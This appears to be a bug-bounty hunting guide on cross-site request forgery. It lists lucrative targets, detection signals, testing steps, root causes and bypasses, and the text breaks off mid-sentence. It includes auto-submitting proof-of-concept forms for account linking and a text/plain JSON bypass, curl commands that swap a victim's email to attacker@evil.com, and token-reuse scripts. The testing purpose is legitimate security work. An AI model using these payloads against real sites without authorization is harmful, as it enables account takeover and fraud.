Crown Jewel Targets
CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:
- Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
- Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
- API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
- Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
- Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact
Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
Attack Surface Signals
URL Patterns
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
Response Header Signals
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
JS / DOM Patterns
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token field
Tech Stack Signals
- Rails apps: Look for
authenticity_token— test if it's static per session - Django apps: Check
csrfmiddlewaretoken— test cross-user/session reuse - Grafana instances: CVE-2022-21703 — check version via
/api/health - SAMLv2/OIDC flows:
RelayStateparameter rarely validated - Express/Node APIs: Often skip CSRF middleware on
/api/*routes
Step-by-Step Hunting Methodology
-
Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
-
Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without
SameSite=StrictorLax. -
Test token staticness — Log in twice (different sessions or incognito). Compare
authenticity_token/csrfmiddlewaretoken/csrf-tokenvalues across:- Same session, different page loads (should be different)
- Different sessions for same user
- Different users entirely
-
Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
-
Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.
-
Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:
- Send
application/x-www-form-urlencodedto a JSON endpoint - Send
text/plainwith a JSON body - If accepted, HTML form can trigger it cross-origin
- Send
-
Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if
RelayStateis validated for same-origin. Inject external URLs. -
Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
-
Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
-
Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.
Payload & Detection Patterns
Basic CSRF PoC (Form POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>
JSON CSRF via text/plain (bypasses Content-Type check)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>
curl: Test CSRF token omission
# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "email=attacker@evil.com" \
-v 2>&1 | grep -E "HTTP|location|error"
curl: Test token reuse across sessions
# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&email=test@test.com" \
-v
Grep patterns for recon
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 version check
curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
Common Root Causes
-
Static CSRF tokens per session — Developers generate one token at login and reuse it. Airbnb bug:
authenticity_tokenwas the same across all page loads for a session, making it trivially leakable. -
Token not tied to user identity — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug:
csrftokenreusable across users. -
Missing token on "secondary" endpoints — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.
-
JSON API assumption of safety — Belief that
Content-Type: application/jsonprevents CSRF. It does via CORS preflight — unless the server also acceptstext/plainorapplication/x-www-form-urlencoded. -
SameSite=None for cross-site embeds — Developers set
SameSite=Noneto support iframe embeds or third-party integrations, inadvertently re-enabling CSRF. -
OAuth RelayState not validated — Developers implement SAML/OIDC but treat
RelayStateas a redirect hint, not a CSRF state parameter requiring cryptographic binding. -
Framework misconfiguration — CSRF middleware excluded for
/api/*routes in Django/Rails because "API clients don't need it," but browser-based JS clients do. -
Third-party software defaults — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.
Bypass Techniques
Defense: SameSite=Lax cookies
Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.
Defense: CSRF token present
Bypasses:
- Token is static per session — steal via XSS, Refe